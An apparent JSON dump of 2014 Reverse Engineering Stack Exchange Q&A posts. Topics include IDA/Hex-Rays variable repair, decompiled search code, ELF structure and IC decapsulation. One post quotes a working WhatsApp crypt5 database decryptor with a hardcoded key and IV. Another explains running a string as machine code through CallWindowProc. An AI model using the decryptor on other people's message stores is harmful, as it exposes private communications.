[bp-16040h]@527\n  __int16 v385; // [sp+51h] [bp-1603Fh]@527\n  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  char v389[3]; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n  char array1[32]; // [sp+64h] [bp-1602Ch]@157\n  char array2[256]; // [sp+84h] [bp-1600Ch]@52\n  char Dest[256]; // [sp+184h] [bp-15F0Ch]@69\n  char Str1[64]; // [sp+284h] [bp-15E0Ch]@153\n  char AppName[64]; // [sp+2C4h] [bp-15DCCh]@76\n  char buf[512]; // [sp+304h] [bp-15D8Ch]@45\n  char StartupInfo[256]; // [sp+504h] [bp-15B8Ch]@163\n  char v398[512]; // [sp+604h] [bp-15A8Ch]@741\n  char v399[8192]; // [sp+804h] [bp-1588Ch]@638\n  char v400[80000]; // [sp+2804h] [bp-1388Ch]@543\n  int v401; // [sp+16084h] [bp-Ch]@1\n  int (*v402)(); // [sp+16088h] [bp-8h]@1\n  int v403; // [sp+1608Ch] [bp-4h]@1\n  const char *Buf1b; // [sp+160A0h] [bp+10h]@485\n  const char *Buf1a; // [sp+160A0h] [bp+10h]@489\n</code></pre>\n\n<p>Seems all the array/buffers are only found at the bottom of all the variables all of them are buffers completely (maybe it's just the type of compiler / optimizer this program used). </p>\n\n<p>I wonder what If it probably reuses all the buffers as just one big buffer?</p>\n",
        "Title": "IDA PRO repairing stack variables / local variables hex-rays with arrays and proper types / structures any scripts/plugins?",
        "Tags": "|ida|ida-plugin|local-variables|stack-variables|",
        "Answer": "<p>I'm not sure that it is possible to answer this question without seeing all the function because correctness of local variable type recovery can be done only by understanding of the context where variables are used. </p>\n\n<p>However, I'd suggest the following algorithm for dealing with local variables \nin Hex-Rays:</p>\n\n<ol>\n<li><p>As your friend said, do nothing with variables allocated on the registers.</p></li>\n<li><p>For all other variables allocated on the stack, do the following:</p></li>\n<li><p>Look where this variable is used.</p></li>\n<li><p>If you see one of patterns below, act accordingly, but press F5 after each change and review results. Remember, you can revert each type back by pressing Y and entering previous type on it.</p></li>\n<li><p>If you see usage of some <strong>different</strong> offsets relative to this variable it may be a structure. Try to create one by right-click on the variable and choosing corresponding menu item. Usage of this variable as function parameter or other connections to already known types may give you a hint about type of the variable. </p></li>\n<li><p>If you see not constant offsets (such as offset in another variable) it can be array. Press asterisk (*) on the variable, IDA will suggest the length of the array, it does it relatively good.</p></li>\n<li><p>If you see both of those patterns, it is possibly array of structures or more complicated case like array of structures in structure which is member of array and vice versa :) In this case try to find a smallest structure/array and start with it.  </p></li>\n</ol>\n\n<p>At all, there are the following possibilities to affect the function stack in Hex-Rays:</p>\n\n<ol>\n<li>Changing variable type (press y on the variable, enter type) </li>\n<li>Making variable an array (press * on it) </li>\n<li>Creating new structure\ntype on a variable basis (Right click on the variable, corresponding\nmenu item)</li>\n<li>Undefining a variable: Doubleclick on stack variable\nwill open stack function stack window. Pressing u on a variable will\nundefine it. </li>\n<li>Merging a variable: if you see that two different\nvariables are actually the same you can press = and tell to the\ndecompiler that they are really the same. AFAIR it works in IDA 6.5\nand IDA6.5</li>\n</ol>\n\n<p>Don't forget to refresh the decompiled code view by pressing F5 after each change to see results.</p>\n\n<p>That's all.</p>\n\n<p>By the way,  there is one point you are probably missing:\nIDA and HexRays can make more than one variable on the same place in stack, \nso v369, v370, v371, v372, v373 are using same place in the stack, but are different variables from decompiled code point of view.</p>\n"
    },
    {
        "Id": "4125",
        "CreationDate": "2014-04-23T08:35:55.270",
        "Body": "<p>I recently came across a script that would read a file into a string, then do the equivalent of</p>\n\n<pre><code>CallWindowProc((pointer to string), (pointer to encrypted string), (length of encrypted string), 0, 0)\n</code></pre>\n\n<p>in the scripting language to decrypt an encrypted string defined earlier in the file. What's going on here? How did the call to <code>CallWindowProc</code> decrypt the string?</p>\n",
        "Title": "What does this call to CallWindowProc do?",
        "Tags": "|windows|dynamic-linking|",
        "Answer": "<p>Normally, the first parameter to <code>CallWindowProc</code> would be a function pointer. <code>CallWindowProc</code> treats the pointer to the string as a function pointer, and calls it. As long as the heap that the string exists in is executable, it will be executed as if it were machine code. The other four parameters passed to <code>CallWindowProc</code> are also passed to the function pointer, and can be used by the machine code however it's designed. In this case, it looks like the machine code your script is loading is a decryption subroutine. Try looking at the machine code in a disassembler.</p>\n"
    },
    {
        "Id": "4128",
        "CreationDate": "2014-04-23T13:35:16.920",
        "Body": "<p>I am on the hunt for several ICs by searching for the markings on them. But sometimes the markings are just too vague and I cannot really guarantee that the IC I found is the IC I am looking for. I know that some manufacturers place a logo or something equivalent on the die itself, and that it is possible to X-Ray the package in order to see the bare die.</p>\n\n<p>My question is, is there any home-made (preferably cheap) alternative to the X-Ray method?</p>\n",
        "Title": "Any Home Made Alternatives to X-Ray ICs?",
        "Tags": "|integrated-circuit|",
        "Answer": "<p>I'm far from an authoritative source but I've personally never seen x-rays being used to identify anything but defects or bad joints under BGA chips. I don't think x-rays would be a good fit here because the die is extremely likely to appear like a solid blob with possibly the bonding wires visible.</p>\n\n<p>The cheapest way I know of to accomplish what you want to do is by grinding, usually called polishing, the chip using a very very fine sandpaper or abrasive surface to remove the packaging and different metal layers. In your case you probably only want to remove the protective polymer. If you go this route you need to take extreme care when it comes to aligning the chip and the grinding surface so that your material removal isn't slanted.</p>\n\n<p>The other, and similarly cheap, method is a chemical etch, also called wet etching. This is usually very dangerous though if you're not very careful and make damn sure that your ventilation is good. It usually involves nitric or sulphuric acid. I won't discuss it in detail here. </p>\n\n<p>For an overview of different techniques please see <a href=\"http://siliconpr0n.org/wiki/doku.php?id=decap%3astart\" rel=\"nofollow\">siliconpr0n's article on decapsulation</a>. t4f has a decent article on low cost <a href=\"http://www.t4f.org/articles/ultra-low-cost-ic-decapsulation/\" rel=\"nofollow\">decapsulation using a chemical etch</a>. Siliconzoon has <a href=\"http://siliconzoo.org/tutorial.html\" rel=\"nofollow\">a nice tutorial</a> for the very basics of understanding what you're looking at once you've decapsulated, polished and imaged the metal layers of your ICs.</p>\n\n<p>If you're not hell bent on doing it on your own there's a number of companies that offer decapsulation services for you. Usually this service doesn't have to be very expensive due to them using automated decapsulation machines, usually by so called jet etching. They usually send you the decapsulated sample for analysis. There's probably services out there willing to take high resultion, high magnification pictures of the various metal layers for you as well. My recommendation would be to send a sample to one of these firms, it will cost you less than 100 USD, you're very likely to get a working sample back and it also has the highest success to chemical burn ratio.</p>\n"
    },
    {
        "Id": "4139",
        "CreationDate": "2014-04-25T04:21:01.057",
        "Body": "<p>I decompiled a application and found what seems like some kind of sorting algorithm, I was told it's not even a sorting algorithm, but a binary search on stackoverflow</p>\n\n<p>I just don't know which one it is can someone let me know it's actual name?</p>\n\n<p>whatever is passed into the strcmpi wrapper is in some area's divided by 2 who knows some crazy stuff.. I thought it was qsort (quicksort) since it's a standard library for C. But i'm not sure.</p>\n\n<pre><code>int __cdecl SomeKindOfSortAlgorithm(int a1, int a2, int a3, signed int a4, int (__cdecl *a5)(unsigned int, unsigned int), int a6)\n{\n  int v6; // esi@1\n  int result; // eax@1\n  int v8; // ebp@2\n  int v9; // edi@2\n\n  v6 = 0;\n  result = 0;\n  *(unsigned int *)a6 = 0;\n  if ( !a3 )\n    return result;\n  v8 = a2;\n  v9 = a2 + a4 * (a3 - 1);\n  if ( a2 &gt; (unsigned int)v9 )\n  {\nLABEL_9:\n    if ( result &gt; 0 )\n      v6 += a4;\n    return v6;\n  }\n  while ( 1 )\n  {\n    v6 = v8 + a4 * (v9 - v8) / a4 / 2;\n    result = a5(a1, v8 + a4 * (v9 - v8) / a4 / 2);\n    if ( result &lt; 0 )\n    {\n      if ( v6 == a2 )\n        goto LABEL_9;\n      v9 = v6 - a4;\n      goto LABEL_8;\n    }\n    if ( result &lt;= 0 )\n      break;\n    v8 = v6 + a4;\nLABEL_8:\n    if ( v8 &gt; (unsigned int)v9 )\n      goto LABEL_9;\n  }\n  *(unsigned int *)a6 = 1;\n  if ( v6 == a2 )\n  {\nLABEL_15:\n    result = a2;\n  }\n  else\n  {\n    while ( 1 )\n    {\n      v6 -= a4;\n      if ( a5(a1, v6) )\n        break;\n      if ( v6 == a2 )\n        goto LABEL_15;\n    }\n    result = v6 + a4;\n  }\n  return result;\n}\n</code></pre>\n\n<p>Here is the compare function</p>\n\n<pre><code>int __cdecl StrCmpiWrapper(const char *Str1, const char **a2)\n{\n  return _strcmpi(Str1, *a2);\n}\n</code></pre>\n\n<p>Here is how you use it.</p>\n\n<pre><code>  int ChatMsgBuffer;\n  int v4; // eax@1\n  int v5; // eax@5\n  int v8; // [sp+10h] [bp-4h]@1\n\n  v4 = SomeKindOfSortAlgorithm(\n         ChatMsgBuffer,\n         textFile-&gt;Pointer,\n         textFile-&gt;TotalElements,\n         4,\n         (int (__cdecl *)(unsigned int, unsigned int))StrCmpiWrapper,\n         (int)&amp;v8);\n\n  if ( !v8 &amp;&amp; v4 )\n  {\n      //Allocate memory .. copy it and other stuff here.\n  }\n</code></pre>\n\n<p>Here is how a real qsort looks when decompiled</p>\n\n<pre><code>void __cdecl sub_4015D0(int a1, unsigned int a2, unsigned int a3, unsigned int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)\n{\n  unsigned int v6; // esi@2\n  int v7; // edi@9\n  unsigned int v8; // esi@32\n  int v9; // esi@38\n  unsigned int k; // edi@41\n  unsigned int v11; // edi@43\n  void *v12; // edi@52\n  int j; // [sp+Ch] [bp-20h]@52\n  unsigned int v14; // [sp+10h] [bp-1Ch]@16\n  int v15; // [sp+14h] [bp-18h]@11\n  int v16; // [sp+14h] [bp-18h]@16\n  unsigned int v17; // [sp+18h] [bp-14h]@9\n  int v18; // [sp+1Ch] [bp-10h]@2\n  unsigned int v19; // [sp+28h] [bp-4h]@2\n  unsigned int i; // [sp+38h] [bp+Ch]@38\n\n  while ( a3 )\n  {\n    if ( a2 &lt;= 0x20 )\n      goto LABEL_37;\n    v19 = a1 + a4 * a2;\n    v6 = a1 + a4 * (a2 &gt;&gt; 1);\n    v18 = a4 + v6;\n    sub_401420(a1, a1 + a4 * (a2 &gt;&gt; 1), a1 + a4 * a2 - a4, a4, a5, a6);\n    while ( a1 &lt; v6 &amp;&amp; !a5(v6 - a4, v6, a6) )\n      v6 -= a4;\n    while ( v18 &lt; v19 &amp;&amp; !a5(v18, v6, a6) )\n      v18 += a4;\n    v7 = v18;\n    v17 = v6;\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        for ( ; v7 &lt; v19; v7 += a4 )\n        {\n          v15 = a5(v6, v7, a6);\n          if ( v15 &gt;= 0 )\n          {\n            if ( v15 &gt; 0 )\n              break;\n            sub_401160(v18, v7, a4);\n            v18 += a4;\n          }\n        }\n        if ( a1 &lt; v17 )\n        {\n          do\n          {\n            v14 = v17 - a4;\n            v16 = a5(v17 - a4, v6, a6);\n            if ( v16 &gt;= 0 )\n            {\n              if ( v16 &gt; 0 )\n                break;\n              v6 -= a4;\n              sub_401160(v6, v14, a4);\n            }\n            v17 -= a4;\n          }\n          while ( a1 &lt; v14 );\n        }\n        if ( v17 == a1 )\n          break;\nLABEL_27:\n        if ( v7 == v19 )\n        {\n          v17 -= a4;\n          v18 -= a4;\n          v6 -= a4;\n          if ( v17 == v6 )\n            sub_401160(v6, v18, a4);\n          else\n            sub_401220(v17, v18, v6, a4);\n        }\n        else\n        {\n          v17 -= a4;\n          sub_401160(v7, v17, a4);\n          v7 += a4;\n        }\n      }\n      if ( v7 == v19 )\n        break;\n      if ( v17 != a1 )\n        goto LABEL_27;\n      if ( v18 == v7 )\n        sub_401160(v7, v6, a4);\n      else\n        sub_401220(v7, v6, v18, a4);\n      v7 += a4;\n      v6 += a4;\n      v18 += a4;\n    }\n    a3 = (a3 &gt;&gt; 2) + (a3 &gt;&gt; 1);\n    v8 = (v6 - a1) / a4;\n    a2 = (v19 - v18) / a4;\n    if ( v8 &gt; a2 )\n    {\n      sub_4015D0(v18, a2, a3, a4, a5, a6);\n      a2 = v8;\n    }\n    else\n    {\n      sub_4015D0(a1, v8, a3, a4, a5, a6);\n      a1 = v18;\n    }\n  }\n  if ( a2 &lt;= 0x20 )\n  {\nLABEL_37:\n    if ( a2 &gt; 1 )\n    {\n      v9 = a1;\n      for ( i = a2 - 1; i; --i )\n      {\n        v9 += a4;\n        if ( a5(v9, a1, a6) &gt;= 0 )\n        {\n          v12 = (void *)v9;\n          for ( j = v9; ; v12 = (void *)j )\n          {\n            j -= a4;\n            if ( a5(v9, j, a6) &gt;= 0 )\n              break;\n          }\n          if ( v12 != (void *)v9 )\n            sub_401310(v12, v9, a4);\n        }\n        else\n        {\n          sub_401310((void *)a1, v9, a4);\n        }\n      }\n    }\n    return;\n  }\n  for ( k = a2 &gt;&gt; 1; k; sub_401500(a1, k, a2, a4, a5, a6) )\n    --k;\n  v11 = a1 + a4 * a2;\n  while ( a2 &gt; 1 )\n  {\n    v11 -= a4;\n    sub_401160(a1, v11, a4);\n    --a2;\n    sub_401500(a1, 0, a2, a4, a5, a6);\n  }\n}\n\nint __cdecl sub_401420(int a1, int a2, int a3, unsigned int a4, int a5, int a6)\n{\n  unsigned int v6; // edi@2\n  int result; // eax@2\n\n  if ( 40 * a4 &gt;= a3 - a1 )\n  {\n    result = sub_4013B0(a1, a2, a3, a4, a5, a6);\n  }\n  else\n  {\n    v6 = a4 * (((a3 - a1) / a4 &gt;&gt; 3) + 1);\n    sub_4013B0(a1, v6 + a1, a1 + 2 * v6, a4, a5, a6);\n    sub_4013B0(a2 - v6, a2, a2 + v6, a4, a5, a6);\n    sub_4013B0(a3 - 2 * v6, a3 - v6, a3, a4, a5, a6);\n    result = sub_4013B0(a1 + v6, a2, a3 - v6, a4, a5, a6);\n  }\n  return result;\n}\n\nint __cdecl sub_401500(int a1, unsigned int a2, unsigned int a3, int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)\n{\n  int v6; // ebx@1\n  int v7; // esi@1\n  int i; // edi@1\n  int result; // eax@6\n  unsigned int v10; // ebx@7\n  unsigned int v11; // edi@7\n  int v12; // [sp+Ch] [bp-4h]@1\n\n  v12 = a2;\n  v6 = 2 * a2 + 2;\n  v7 = a1 + a4 * a2;\n  for ( i = a1 + a4 * (2 * a2 + 2); v6 &lt;= a3; i = a1 + a4 * v6 )\n  {\n    if ( v6 == a3 || a5(i, i - a4, a6) &lt; 0 )\n    {\n      --v6;\n      i -= a4;\n    }\n    sub_401160(v7, i, a4);\n    a2 = v6;\n    v7 = i;\n    v6 = 2 * v6 + 2;\n  }\n  result = v12;\n  if ( v12 &lt; a2 )\n  {\n    do\n    {\n      v10 = (a2 - 1) &gt;&gt; 1;\n      v11 = a1 + a4 * ((a2 - 1) &gt;&gt; 1);\n      result = a5(v7, a1 + a4 * ((a2 - 1) &gt;&gt; 1), a6);\n      if ( result &lt;= 0 )\n        break;\n      sub_401160(v11, v7, a4);\n      a2 = (a2 - 1) &gt;&gt; 1;\n      v7 = v11;\n      result = v12;\n    }\n    while ( v12 &lt; v10 );\n  }\n  return result;\n}\n</code></pre>\n",
        "Title": "C What kind of sorting algorithm is this?",
        "Tags": "|ida|decompilation|c|",
        "Answer": "<p>It's a binary search.  I've renamed several of the variables, and in one case, introduced a new variable, because one of the local variables was used for one thing in the first half of the function and something else in the second half of the function.</p>\n\n<p>The only tricky part is that once it finds an occurrence of the string to find, it iterates to find the <em>first</em> occurrence.</p>\n\n<pre><code>#include &lt;string.h&gt;\n\ntypedef const char* MYTYPE;\ntypedef char* PTR_TYPE;\n\nPTR_TYPE __cdecl SomeKindOfSortAlgorithm(MYTYPE elementToFind, PTR_TYPE array, unsigned int numElts, unsigned int eltSize, int (__cdecl *compare)(MYTYPE, PTR_TYPE), bool* pFound)\n{\n  PTR_TYPE mid; // esi@1\n  int result; // eax@1\n  PTR_TYPE lower_bound; // ebp@2\n  PTR_TYPE upper_bound; // edi@2\n\n  mid = 0;\n  result = 0;\n  *pFound = false;\n  if ( !numElts )\n    return NULL;\n  lower_bound = array;\n  upper_bound = array + eltSize * (numElts - 1);\n  if ( array &gt; upper_bound )\n  {\nNOT_FOUND:\n    if ( result &gt; 0 )\n      mid += eltSize;\n    return mid;\n  }\n  while ( 1 )\n  {\n    mid = lower_bound + eltSize * (upper_bound - lower_bound) / eltSize / 2;\n    result = compare(elementToFind, mid);\n    if ( result &lt; 0 ) // elementToFind should go before mid\n    {\n      if ( mid == array )\n        goto NOT_FOUND;\n      upper_bound = mid - eltSize;\n      goto CHECK_LOOP_END;\n    }\n    if ( result &lt;= 0 ) // elementToFind equals the element at mid\n      break;\n    // elementToFind should go after mid\n    lower_bound = mid + eltSize;\nCHECK_LOOP_END:\n    if ( lower_bound &gt; upper_bound )\n      goto NOT_FOUND;\n  }\n\n  PTR_TYPE pFirstOccurrance;\n  *pFound = true;\n  if ( mid == array )\n  {\nAT_FIRST_ELEMENT:\n    pFirstOccurrance = array;\n  }\n  else\n  {\n    while ( 1 )\n    {\n      mid -= eltSize;\n      if ( compare(elementToFind, mid) ) // elementToFind != element at mid\n        break;\n      if ( mid == array )\n        goto AT_FIRST_ELEMENT;\n    }\n    pFirstOccurrance = mid + eltSize;\n  }\n  return pFirstOccurrance;\n}\n\nint __cdecl StrCmpiWrapper(MYTYPE element, PTR_TYPE arrayPointer)\n{\n  return _strcmpi(element, *(MYTYPE*)arrayPointer);\n}\n\n\nint main(int argc, char* argv[])\n{\n  MYTYPE lookFor = \"def\";\n  MYTYPE* pFirstOccurrance; // eax@1\n  bool found; // [sp+10h] [bp-4h]@1\n\n  MYTYPE data[3] = {\n      \"abc\",\n      \"def\",\n      \"ghi\"\n  };\n\n  pFirstOccurrance = (MYTYPE*)SomeKindOfSortAlgorithm(\n         lookFor,\n         (PTR_TYPE)data,\n         3,\n         sizeof(MYTYPE),\n         StrCmpiWrapper,\n         &amp;found);\n\n  if ( !found &amp;&amp; pFirstOccurrance )\n  {\n      //Allocate memory .. copy it and other stuff here.\n  }\n\n    return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "4142",
        "CreationDate": "2014-04-20T21:57:10.790",
        "Body": "<p>I was going through <a href=\"http://www.securitybydefault.com/2014/03/descifrando-msgstoredbcrypt5-la-nueva.html\" rel=\"nofollow noreferrer\">DECIPHERING MSGSTORE.DB.CRYPT5, THE NEW DATABASE WHATSAPP</a>\n &amp; <a href=\"http://bas.bosschert.nl/steal-whatsapp-update/\" rel=\"nofollow noreferrer\">Steal WhatsApp update</a>.</p>\n\n<p>The author of the first link published a <a href=\"https://github.com/aramosf/pwncrypt5/blob/master/pwncrypt5.py\" rel=\"nofollow noreferrer\">decryptor</a> which sets the iv for the <code>aes_192_cbc</code> to </p>\n\n<pre><code>iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])\n</code></pre>\n\n<p>Here is the full decryptor:</p>\n\n<pre><code>#!/usr/bin/python              \n\"\"\"\n48bits presents:\n8===============================================D~~~\nWhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub\n8===============================================D~~~\n\n\"\"\"\n\nimport sys\nimport hashlib\nimport StringIO\nfrom M2Crypto import EVP\n\nkey = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])\niv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])\n\ndef decrypt(db,acc):\n  fh = file(db,'rb')\n  edb = fh.read()\n  fh.close()\n  m = hashlib.md5()\n  m.update(acc)\n  md5 = bytearray(m.digest())\n  for i in xrange(24): key[i] ^= md5[i&amp;0xF]\n  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)\n  sys.stdout.write(cipher.update(edb))\n  sys.stdout.write(cipher.final())\n\nif __name__ == '__main__':\n  if len(sys.argv) != 3:\n    print 'usage %s &lt;db&gt; &lt;accountname&gt; &gt; decrypted.db' % sys.argv[0]\n  else:\n    decrypt(sys.argv[1],sys.argv[2])\n</code></pre>\n\n<p>The only piece I miss is where did the IV came from ? I don't see it on the ida snapshot:</p>\n\n<p><img src=\"https://i.stack.imgur.com/43t7L.png\" alt=\"enter image description here\"></p>\n",
        "Title": "How the author found the initialization vector for the AES CBC whatsapp CRYPT5 db uses?",
        "Tags": "|cryptography|",
        "Answer": "<p>It doesn't seem to be on the IDA snapshot. You probably identified the right part of the program flow to set the initial <code>key</code> array. and assumed that the left part should have something to do with the <code>iv</code>, but that's not true. <code>iv</code> is 16 bytes, the left part of the IDA disassembly defines 24 bytes, which is the same length as <code>key</code>. Also, the very top of the image shows there's an if condition that branches either to setting up the key or setting up the left part, so these branches exclude each other.</p>\n\n<p>After the key initialization on the right part, the MD5 calculation is performed, then there's the call to <code>dword ptr eax+2AH</code> where <code>eax</code> is set up to <code>[ebp+0]</code>, and <code>ebp</code> itself being the top item on the stack. The parameters are put on the stack - <code>ebp</code> on top, then <code>edx=esp+40</code>, then <code>edx=esp+60</code>. <code>esp+60</code> is setup earlier to be the location of the result of the call that preludes <code>MD5_Init</code>, and obviously the string being MD5'ed <code>(MD5_Update(x, esp+60, strlen(esp+60))</code>. This pattern - <code>ebp</code> being a pointer to data and functions, with the first parameter of the functions being <code>ebp</code> - hints at <code>ebp</code> being a pointer to a C++ class.</p>\n\n<p>Overall, the right part sets up the key, calls a class method, does the MD5 stuff, and calls another class method. Comparing that to the python script, it seems like the first class method performs the python \"read from file\", the second the XOR-ing. The CVP.cipher call comes later, not shown on the IDA snapshot, so you can't see how iv is set up.</p>\n\n<p>The left part of the IDA snapshot is something else, maybe code for decrypting old versions of the database. The top of the IDA snapshot says \"perform the right part if something is equal to 5\"; this could be a version number, with lower versions branching to the left; however, the IDA disassemble doesn't show the conditions for the left side branch, so this is guesswork.</p>\n"
    },
    {
        "Id": "4146",
        "CreationDate": "2014-04-25T21:37:10.020",
        "Body": "<p>Given a binary and only using a tool like <code>ndisasm</code>, how can I find <code>main()</code>?\nI don't want to use smart tools like IDA Pro because I'm doing this exercise to learn.</p>\n",
        "Title": "How to find main() in binary?",
        "Tags": "|disassembly|",
        "Answer": "<p>This is quite tricky and necessitates a LOT of patience. I'll assume here that you're trying to find the <code>main</code> function as it is defined in C and not as the entry point of your program. It's very hard to find what you're looking for by scanning the code with your eyes &amp; brain. But here's a way. What you can do is first check the header of the binary file you're trying to disassemble. Below you'll find the output of <code>readelf -h</code> on a random file. If the file isn't damaged (on purpose or not) you'll be able to find the <em>Entry point address</em>.  </p>\n\n<pre><code>  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF64\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Advanced Micro Devices X86-64\n  Version:                           0x1\n  Entry point address:               0x400440\n  Start of program headers:          64 (bytes into file)\n  Start of section headers:          4680 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               64 (bytes)\n  Size of program headers:           56 (bytes)\n  Number of program headers:         8\n  Size of section headers:           64 (bytes)\n  Number of section headers:         35\n  Section header string table index: 32\n</code></pre>\n\n<p>This address usually points to the location of the first chunk of code which will be executed at run time (<code>_start</code> function) and which will handle the <code>main</code> function parameters (or command line arguments) before calling the <code>main</code> function. Another technique would be to run your program under a debugger (<strong>GDB</strong> for instance) and go step by step.</p>\n\n<p>I have to warn you though, if you're dealing with ELF binaries, things could turn out to be more complicated as they contain <code>ctor</code> and <code>dtor</code> tables which hold pointers to functions that are executed before and after the <code>main</code> function. You have also some undocumented weirdness going on when dealing with statically linked binaries. And of course, other programs can make do without a <code>main</code> function and call whatever they wish.</p>\n"
    },
    {
        "Id": "4149",
        "CreationDate": "2014-04-26T00:21:24.140",
        "Body": "<p>I want to learn reverse engineering so I was starting to try compiling simple (to start with) C programs and then reading the disassembly.</p>\n\n<p>The following file</p>\n\n<pre><code>int main(void) {\n  return 0;\n}\n</code></pre>\n\n<p>compiled with <code>gcc</code> then disassembled with <code>objdump -d</code> ends up creating 172 lines of output. I don't understand why there is so much output.</p>\n\n<p>What is the meaning of the different sections:</p>\n\n<pre><code>0000000000400370 &lt;_init&gt;:\n0000000000400390 &lt;__libc_start_main@plt-0x10&gt;:\n00000000004003a0 &lt;__libc_start_main@plt&gt;:\n00000000004003b0 &lt;__gmon_start__@plt&gt;:\n00000000004003c0 &lt;_start&gt;:\n00000000004003f0 &lt;deregister_tm_clones&gt;:\n0000000000400420 &lt;register_tm_clones&gt;:\n0000000000400460 &lt;__do_global_dtors_aux&gt;:\n0000000000400480 &lt;frame_dummy&gt;:\n00000000004004ad &lt;main&gt;:\n00000000004004c0 &lt;__libc_csu_init&gt;:\n0000000000400530 &lt;__libc_csu_fini&gt;:\n0000000000400534 &lt;_fini&gt;:\n</code></pre>\n\n<p>Of course I have been reading about the calling convention and opcodes so I can see how the  section corresponds to the C code.</p>\n",
        "Title": "What are the sections of a x86 linux binary?",
        "Tags": "|assembly|x86|objdump|",
        "Answer": "<p>I see you're mixing up sections with functions.</p>\n\n<p>What you have provided in your question are functions necessary to an ELF binary to execute. For example, the <code>_start</code> function is usually the <em>entry point</em> of a binary and it will probably call the <code>main</code> function at some point. You can get the address of the entry of a binary using <code>readelf -h</code> on the binary file you have.</p>\n\n<p>About the output, though your program is \"empty\" it was still compiled &amp; linked successfully - for that it is not erroneous - into an executable ELF. This document provides everything you need to know about how an ELF binary is structured &amp; how to manipulate it : <a href=\"http://www.skyfree.org/linux/references/ELF_Format.pdf\">ELF Format</a> (PDF).</p>\n\n<p>Now if you want to retrieve section information in a binary file the <code>readelf</code> function can again help with that, you just have to call it with the <code>-S</code> and the target binary file (<code>readelf -S prog</code>).</p>\n\n<p>Since you're just starting to learn, I recommend you checking the binutils (<code>readelf</code>, <code>objdump</code>, ...) and their related documentation and start playing with simple programs before moving to crackmes and more advanced or obfuscated binary files.</p>\n"
    },
    {
        "Id": "4150",
        "CreationDate": "2014-04-26T00:54:07.627",
        "Body": "<p>I used the <code>file</code> command in Linux to get information about a binary file. I am also looking for the addresses that these calls are located at. I think I can get this information from GDB or <code>objdump</code> but I am not very good with Linux commands and programs yet so any help is much appreciated. The output from the file command is below:</p>\n\n<pre><code>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d232dd468b2344847a4b9c81eb064ffe257d5d0, stripped\n</code></pre>\n\n<p>Then using the <code>strings</code> command I got this output (I see several C function calls but which are external ?):</p>\n\n<pre><code>/lib/ld-linux.so.2\n-#mH4\n__gmon_start__\nlibc.so.6\n_IO_stdin_used\nexit\nstrncmp\nstrncpy\nputs\nprintf\nmalloc\natoi\n__libc_start_main\nGLIBC_2.0\nPTRh\nQVh&gt;\nUWVS\n[^_]\ntesting\nstrncmp: %s;\natoi\nComplete\n;*2$\"\n</code></pre>\n",
        "Title": "How do I view external function calls in dynamically linked ELF binary in linux?",
        "Tags": "|gdb|static-analysis|dynamic-analysis|dynamic-linking|objdump|",
        "Answer": "<p>The answer to your question is fairly easy. You can either use the <code>nm</code> command with the <code>-D</code> switch (or <code>--dynamic</code>), or use <code>objdump</code> with the <code>-T</code> switch. Both commands will output the dynamic symbol table entries and the libraries they originate from.</p>\n"
    },
    {
        "Id": "4189",
        "CreationDate": "2014-04-28T11:45:59.620",
        "Body": "<p>Trying to understand a function thats responsible for sending out a packet.\nI don't understand could it be a integer array or something? or some inline function that's not properly getting rendered in Hex-Rays</p>\n\n<p>I understand the else statement sends a 4 byte packet which contains a timestamp of the GetTickCount API.</p>\n\n<p>The if statement should send the packet that comes in the <code>a2</code> is the pointer to characters with a3 being the size for all the characters.</p>\n\n<p>Usage is similar to this</p>\n\n<pre><code>char buffer[448];\nmemset(buffer, 0, sizeof(buffer));\n//blah blah packet stuff here\nstrncpy(&amp;buffer[90], \"blah blah blah\", 250u);\nbuffer[339] = 0;\n//then the call below.\n// 91+250+91 = 432, yet memset is 448, 16 extra probably stack padding.\ntest(*v28, buffer, strlen(&amp;buffer[90]) + 91);\n</code></pre>\n\n<p><p></p>\n\n<p>Here is the original code decompiled from Hex-Rays.</p>\n\n<pre><code>void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // [sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 &amp;&amp; (signed int)a3 &gt; 0 )\n  {\n    *(_DWORD *)buf = 0;\n    memcpy(&amp;buf[4], a2, 4 * (a3 &gt;&gt; 2));\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n    memcpy(&amp;buf[4 * (a3 &gt;&gt; 2) + 4], (char *)a2 + 4 * (a3 &gt;&gt; 2), a3 &amp; 3);// Looks like Copy by DWORDs, not by Bytes.\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n</code></pre>\n\n<p>Here I fixed it up a little by hand, still don't understand it.</p>\n\n<pre><code>void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // 